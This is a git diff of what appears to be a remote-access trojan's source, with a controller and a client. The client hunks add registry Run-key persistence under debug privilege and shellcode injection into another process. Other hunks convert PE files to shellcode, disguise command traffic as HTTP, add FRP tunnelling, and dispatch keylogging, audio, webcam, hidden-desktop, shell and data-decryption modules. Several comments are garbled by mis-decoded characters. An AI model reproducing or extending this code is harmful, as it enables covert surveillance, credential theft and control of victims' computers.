//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
CloseHandle(hToken);
}
}
/**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
BOOL SetSelfStart(const char *sPath, const char *sNmae)
{
DebugPrivilege();
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if(lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
BOOL CALLBACK callback(DWORD CtrlType)
{
if (CtrlType == CTRL_CLOSE_EVENT)
@@ -252,7 +200,8 @@ public:
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
int main(int argc, const char *argv[])
{
if(!SetSelfStart(argv[0], REG_NAME))
BOOL ok = SetSelfStart(argv[0], REG_NAME);
if(!ok)
{
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
}
@@ -279,7 +228,7 @@ int main(int argc, const char *argv[])
do {
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess(nullptr))) {
if (!(pid = inj.InjectProcess(nullptr, ok))) {
break;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);

View File

@@ -563,6 +563,12 @@ enum ProtocolEncType {
PROTOCOL_HELL = 1,
};
enum ClientCompressType {
CLIENT_COMPRESS_NONE = 0,
CLIENT_COMPRESS_UPX = 1,
CLIENT_COMPRESS_SC = 2,
};
#pragma pack(push, 4)
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
typedef struct CONNECT_ADDRESS
@@ -790,6 +796,13 @@ typedef struct LOGIN_INFOR
}
}LOGIN_INFOR;
inline uint64_t GetUnixMs() {
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now()
);
return system_ms.time_since_epoch().count();
}
// <20>̶<EFBFBD>1024<32>ֽ<EFBFBD>
typedef struct Heartbeat
{
@@ -803,10 +816,7 @@ typedef struct Heartbeat
memset(this, 0, sizeof(Heartbeat));
}
Heartbeat(const std::string& s, int ping = 0) {
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now()
);
Time = system_ms.time_since_epoch().count();
Time = GetUnixMs();
strcpy_s(ActiveWnd, s.c_str());
Ping = ping;
memset(Reserved, 0, sizeof(Reserved));
@@ -827,7 +837,8 @@ typedef struct MasterSettings {
int Is64Bit; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>64λ
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char Reserved[476]; // Ԥ<EFBFBD><EFBFBD>
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
char Reserved[472]; // Ԥ<><D4A4>
}MasterSettings;
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>

View File

@@ -183,22 +183,28 @@ public:
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
std::string getPublicIP() {
clock_t t = clock();
HINTERNET hInternet, hConnect;
DWORD bytesRead;
char buffer[1024] = { 0 };
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return "";
if (!hInternet) {
Mprintf("getPublicIP failed cost %d ms.\n", clock() - t);
return "";
}
hConnect = InternetOpenUrl(hInternet, "https://api.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
Mprintf("getPublicIP failed cost %d ms.\n", clock() - t);
return "";
}
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
Mprintf("getPublicIP succeed cost %d ms.\n", clock() - t);
return std::string(buffer);
}

View File

@@ -89,7 +89,9 @@ public:
// 智能计时器,计算函数的耗时
class auto_tick {
private:
const char* file;
const char* func;
int line;
int span;
clock_t tick;
__inline clock_t now() const {
@@ -100,7 +102,8 @@ private:
}
public:
auto_tick(const char* func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
auto_tick(const char* file_name, const char* func_name, int line_no, int th = 5) :
file(file_name), func(func_name), line(line_no), span(th), tick(now()) { }
~auto_tick() {
stop();
}
@@ -108,7 +111,11 @@ public:
__inline void stop() {
if (span != 0) {
int s(this->time());
if (s > span)Mprintf("[%s] cost: [%d]ms.\n", func, s);
if (s > span) {
char buf[1024];
sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms.\n", file, line, func, s);
OutputDebugStringA(buf);
}
span = 0;
}
}
@@ -116,7 +123,7 @@ public:
#ifdef _DEBUG
// 智能计算当前函数的耗时,超时会打印
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#define AUTO_TICK(thresh) auto_tick TICK(__FILE__, __FUNCTION__, __LINE__, thresh)
#define STOP_TICK TICK.stop()
#else
#define AUTO_TICK(thresh)

View File

@@ -11,6 +11,8 @@ enum PkgMaskType {
MaskTypeNum,
};
#define DEFAULT_HOST "example.com"
inline ULONG UnMaskHttp(char* src, ULONG srcSize) {
const char* header_end_mark = "\r\n\r\n";
const ULONG mark_len = 4;
@@ -49,7 +51,7 @@ public:
virtual ULONG UnMask(char* src, ULONG srcSize) {
return 0;
}
virtual void SetServer(const char* addr) {}
virtual PkgMask* SetServer(const std::string& addr) { return this; }
virtual PkgMaskType GetMaskType() const {
return MaskTypeNone;
}
@@ -65,13 +67,17 @@ public:
* @brief 构造函数
* @param host HTTP Host 头字段
*/
explicit HttpMask(const std::string& host) : product_(GenerateRandomString()), host_(host) {
explicit HttpMask(const std::string& host, const std::map<std::string, std::string>& headers = {}) :
product_(GenerateRandomString()), host_(host) {
// 初始化随机数生成器
srand(static_cast<unsigned>(time(nullptr)));
char buf[32];
sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10);
version_ = buf;
user_agent_ = GetEnhancedSystemUA(product_, version_);
for (std::map<std::string, std::string>::const_iterator it = headers.begin(); it != headers.end(); ++it) {
headers_ += it->first + ": " + it->second + "\r\n";
}
}
/**
@@ -89,7 +95,7 @@ public:
"Host: " + host_ + "\r\n"
"User-Agent: " + user_agent_ + "\r\n"
"Content-Type: application/octet-stream\r\n"
"Content-Length: " + std::to_string(srcSize) + "\r\n"
"Content-Length: " + std::to_string(srcSize) + "\r\n" + headers_ +
"Connection: keep-alive\r\n"
"\r\n"; // 空行分隔头部和 Body
@@ -112,8 +118,9 @@ public:
return UnMaskHttp(src, srcSize);
}
void SetServer(const char* addr) {
PkgMask* SetServer(const std::string& addr) override {
host_ = addr;
return this;
}
private:
static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) {
@@ -144,6 +151,7 @@ private:
std::string product_; // 产品名称
std::string version_; // 产品版本
std::string user_agent_;// 代理名称
std::string headers_; // 自定义请求头
/** 生成随机 URL 路径 */
std::string GenerateRandomString(int size = 8) const {

42
common/zstd_wrapper.c Normal file
View File

@@ -0,0 +1,42 @@
#include "zstd_wrapper.h"
#include <string.h> // memcpy
size_t zstd_compress_auto(
ZSTD_CCtx* cctx,
void* dst, size_t dstCapacity,
const void* src, size_t srcSize,
size_t threshold
) {
// 检查输入有效性
if (!cctx || !dst || !src) {
return ZSTD_error_GENERIC;
}
// --- 小数据或库不支持多线程 → 退回到单线程 ZSTD_compress2 ---
if (srcSize < threshold) {
return ZSTD_compress2(cctx, dst, dstCapacity, src, srcSize);
}
// --- 多线程流式压缩 ---
ZSTD_inBuffer input = {src, srcSize, 0};
ZSTD_outBuffer output = {dst, dstCapacity, 0};
// 循环压缩输入数据
size_t ret = 0;
while (input.pos < input.size) {
ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_continue);
if (ZSTD_isError(ret)) break;
// 输出缓冲区已满(理论上不应发生,因 dstCapacity >= ZSTD_compressBound
if (output.pos == output.size) {
return ZSTD_error_dstSize_tooSmall;
}
}
// 结束压缩(确保所有线程完成)
if (!ZSTD_isError(ret)) {
ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_end);
}
return ZSTD_isError(ret) ? ret : output.pos;
}

31
common/zstd_wrapper.h Normal file
View File

@@ -0,0 +1,31 @@
#ifndef ZSTD_WRAPPER_H
#define ZSTD_WRAPPER_H
#include "zstd/zstd.h"
#ifdef __cplusplus
extern "C" {
#endif
/**
* 智能压缩函数(自动选择单线程/多线程)
* @param cctx 压缩上下文(需提前创建)
* @param dst 输出缓冲区
* @param dstCapacity 输出缓冲区大小
* @param src 输入数据
* @param srcSize 输入数据大小
* @param threshold 触发多线程的最小数据大小(建议 >= 1MB
* @return 压缩后的数据大小(错误码通过 ZSTD_isError() 检查)
*/
size_t zstd_compress_auto(
ZSTD_CCtx* cctx,
void* dst, size_t dstCapacity,
const void* src, size_t srcSize,
size_t threshold
);
#ifdef __cplusplus
}
#endif
#endif // ZSTD_WRAPPER_H

Binary file not shown.

View File

@@ -65,7 +65,7 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
{"操作系统", 120 },
{"CPU", 80 },
{"摄像头", 70 },
{"PING", 70 },
{"RTT", 70 },
{"版本", 90 },
{"安装时间", 120 },
{"活动窗口", 140 },
@@ -302,6 +302,28 @@ std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
return result;
}
std::string GetParentDir()
{
char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);
std::string path(exePath);
// 找到最后一个反斜杠,得到程序目录
size_t pos = path.find_last_of("\\/");
if (pos != std::string::npos) {
path = path.substr(0, pos); // 程序目录
}
// 再往上一级
pos = path.find_last_of("\\/");
if (pos != std::string::npos) {
path = path.substr(0, pos);
}
return path;
}
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{
auto s = GetMasterHash();
@@ -342,6 +364,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
GET_FILEPATH(path, "Plugins");
m_DllList = ReadAllDllFilesWindows(path);
m_tinyDLL = NULL;
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
}
@@ -674,6 +698,12 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
}
LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam) {
if (wParam && !lParam) {
CString* text = (CString*)wParam;
ShowMessage("提示信息", *text);
delete text;
return S_OK;
}
std::string pwd = THIS_CFG.GetStr("settings", "Password");
if (pwd.empty())
ShowMessage("授权提醒", "程序可能有使用限制,请联系管理员请求授权");
@@ -691,6 +721,7 @@ LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam) {
VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
{
AUTO_TICK(200);
CTime Timer = CTime::GetCurrentTime();
CString strTime= Timer.Format("%H:%M:%S");
@@ -710,15 +741,16 @@ VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) {
CString* text = (CString*)wParam;
CString err = *text;
delete text;
CString* title = (CString*)lParam;
CTime Timer = CTime::GetCurrentTime();
CString strTime = Timer.Format("%H:%M:%S");
m_CList_Message.InsertItem(0, "操作错误");
m_CList_Message.InsertItem(0, title ? *title : "操作错误");
m_CList_Message.SetItemText(0, 1, strTime);
m_CList_Message.SetItemText(0, 2, err);
m_CList_Message.SetItemText(0, 2, text ? *text : "内部错误");
delete title;
delete text;
return S_OK;
}
@@ -726,14 +758,16 @@ LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) {
extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction,
LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align=false) {
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) {
return false;
}
compressedBuffer = new BYTE[finalSize];
int padding = align ? ALIGN16(finalSize) - finalSize : 0;
compressedBuffer = new BYTE[finalSize + padding];
memset(compressedBuffer + finalSize, 0, padding);
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
@@ -899,8 +933,19 @@ bool IsFunctionReallyHooked(const char* dllName, const char* funcName)
BOOL CMy2015RemoteDlg::OnInitDialog()
{
AUTO_TICK(500);
CDialogEx::OnInitDialog();
// Grid 容器
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
size = max(size, 1);
if (size > 1) {
m_gridDlg = new CGridDialog();
m_gridDlg->Create(IDD_GRID_DIALOG, GetDesktopWindow());
m_gridDlg->ShowWindow(SW_HIDE);
m_gridDlg->SetGrid(size, size);
}
if (!IsPwdHashValid()) {
THIS_CFG.SetStr("settings", "superAdmin", "");
THIS_CFG.SetStr("settings", "Password", "");
@@ -1003,13 +1048,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
}
const std::string method = THIS_CFG.GetStr("settings", "UDPOption", "0");
if (!Activate(nPort, m_nMaxConnection, method)){
OnCancel();
return FALSE;
}
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
m_settings = { m, sizeof(void*) == 8, __DATE__, n };
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
LVCOLUMN lvColumn;
@@ -1030,26 +1072,37 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
#else
SetTimer(TIMER_CHECK, max(1, tm) * 60 * 1000, NULL);
#endif
IPConverter cvt;
CString tip = !ip.empty() && ip != cvt.getPublicIP() ?
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
"请设置\"公网IP\"或使用反向代理服务器的IP";
ShowMessage("使用提示", tip);
#ifdef _WIN64
if (!master.empty()) {
int use = THIS_CFG.GetInt("frp", "UseFrp");
if (use) {
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
}
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
// 最后启动SOCKET
if (!Activate(nPort, m_nMaxConnection, method)) {
OnCancel();
return FALSE;
}
#endif
THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param){
CMy2015RemoteDlg* This = (CMy2015RemoteDlg*)param;
IPConverter cvt;
std::string ip = THIS_CFG.GetStr("settings", "master", "");
CString tip = !ip.empty() && ip != cvt.getPublicIP() ?
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP" :
"请设置\"公网IP\"或使用反向代理服务器的IP";
This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CString(tip), NULL);
int usingFRP = 0;
#ifdef _WIN64
usingFRP = ip.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
#endif
if (!usingFRP) {
CloseHandle(This->m_hFRPThread);
This->m_hFRPThread = NULL;
return 0x20250820;
}
Mprintf("[FRP] Proxy thread start running\n");
do
@@ -1239,20 +1292,11 @@ LRESULT CMy2015RemoteDlg::OnPasswordCheck(WPARAM wParam, LPARAM lParam) {
isChecking = true;
if (!CheckValid(-1))
{
CInputDialog dlg(this);
dlg.m_str = m_superPass.c_str();
dlg.Init("输入密码", "输入主控程序的密码:");
dlg.DoModal();
if (hashSHA256(dlg.m_str.GetString()) != GetPwdHash()) {
KillTimer(TIMER_CHECK);
m_nMaxConnection = 2;
THIS_APP->UpdateMaxConnection(m_nMaxConnection);
int tm = THIS_CFG.GetInt("settings", "Notify", 10);
THIS_CFG.SetInt("settings", "Notify", tm - 1);
}
else {
m_superPass = dlg.m_str.GetString();
}
KillTimer(TIMER_CHECK);
m_nMaxConnection = 2;
THIS_APP->UpdateMaxConnection(m_nMaxConnection);
int tm = THIS_CFG.GetInt("settings", "Notify", 10);
THIS_CFG.SetInt("settings", "Notify", tm - 1);
}
isChecking = false;
return S_OK;
@@ -1332,6 +1376,7 @@ void CMy2015RemoteDlg::Release(){
Sleep(20);
THIS_APP->Destroy();
SAFE_DELETE(m_gridDlg);
g_2015RemoteDlg = NULL;
SetEvent(m_hExit);
CloseHandle(m_hExit);
@@ -1841,6 +1886,7 @@ std::vector<std::string> splitByNewline(const std::string& input) {
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method)
{
AUTO_TICK(200);
UINT ret = 0;
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 )
{
@@ -1912,6 +1958,10 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
}
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (result == WAIT_FAILED) {
DWORD err = GetLastError();
Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
}
}
return TRUE;
}
@@ -1973,12 +2023,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
if (isClosed) {
return;
}
clock_t tick = clock();
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
// 【L】主机上下线和授权
// 【x】对话框相关功能
switch (cmd)
{
case TOKEN_GETVERSION: // 获取版本
case TOKEN_GETVERSION: // 获取版本【L】
{
// TODO 维持心跳
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
@@ -1992,7 +2044,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
SAFE_DELETE_ARRAY(resp);
break;
}
case CMD_AUTHORIZATION: // 获取授权
case CMD_AUTHORIZATION: // 获取授权【L】
{
int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
if (n < 100) break;
@@ -2033,7 +2085,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
Sleep(20);
break;
}
case CMD_EXECUTE_DLL: // 请求DLL
case CMD_EXECUTE_DLL: // 请求DLL执行代码【L】
{
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
@@ -2047,15 +2099,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
Sleep(20);
break;
}
case COMMAND_PROXY:
case COMMAND_PROXY:// 代理映射【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_HEARTBEAT: case 137:
case TOKEN_HEARTBEAT: case 137: // 心跳【L】
UpdateActiveWindow(ContextObject);
break;
case SOCKET_DLLLOADER: {// 请求DLL
case SOCKET_DLLLOADER: {// 请求DLL【L】
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
@@ -2072,95 +2124,95 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
break;
}
case COMMAND_BYE: // 主机下线
case COMMAND_BYE: // 主机下线【L】
{
CancelIo((HANDLE)ContextObject->sClientSocket);
closesocket(ContextObject->sClientSocket);
Sleep(10);
break;
}
case TOKEN_DRAWING_BOARD:
case TOKEN_DRAWING_BOARD:// 远程画板【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】
g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SYSINFOLIST: { // 主机管理
case TOKEN_SYSINFOLIST: { // 主机管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_CHAT_START: { // 远程交谈
case TOKEN_CHAT_START: { // 远程交谈【x】
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DECRYPT: { // 解密数据
case TOKEN_DECRYPT: { // 解密数据【x】
g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_KEYBOARD_START: {// 键盘记录
case TOKEN_KEYBOARD_START: {// 键盘记录【x】
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_LOGIN: // 上线包
case TOKEN_LOGIN: // 上线包【L】
{
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_BITMAPINFO: // 远程桌面
case TOKEN_BITMAPINFO: // 远程桌面【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DRIVE_LIST: // 文件管理
case TOKEN_DRIVE_LIST: // 文件管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_TALK_START: // 发送消息
case TOKEN_TALK_START: // 发送消息【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SHELL_START: // 远程终端
case TOKEN_SHELL_START: // 远程终端【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_WSLIST: // 窗口管理
case TOKEN_PSLIST: // 进程管理
case TOKEN_WSLIST: // 窗口管理【x】
case TOKEN_PSLIST: // 进程管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_AUDIO_START: // 语音监听
case TOKEN_AUDIO_START: // 语音监听【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_REGEDIT: // 注册表管理
case TOKEN_REGEDIT: // 注册表管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SERVERLIST: // 服务管理
case TOKEN_SERVERLIST: // 服务管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
break;
}
case CMD_PADDING: {
case CMD_PADDING: { // 随机填充
Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
break;
}
@@ -2168,6 +2220,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
}
}
auto duration = clock() - tick;
if (duration > 200) {
Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->PeerName.c_str(), cmd, duration);
}
}
LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
@@ -2832,7 +2888,7 @@ void CMy2015RemoteDlg::OnHelpFeedback()
void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
if (m_DllList.size() == 0) {
MessageBoxA("请将64位的DLL放于 'Plugins' 目录,再来点击此项菜单。"
MessageBoxA("请将64位的DLL放于主控程序的 'Plugins' 目录,再来点击此项菜单。"
"\n执行未经测试的代码可能造成程序崩溃。", "提示", MB_ICONINFORMATION);
char path[_MAX_PATH];
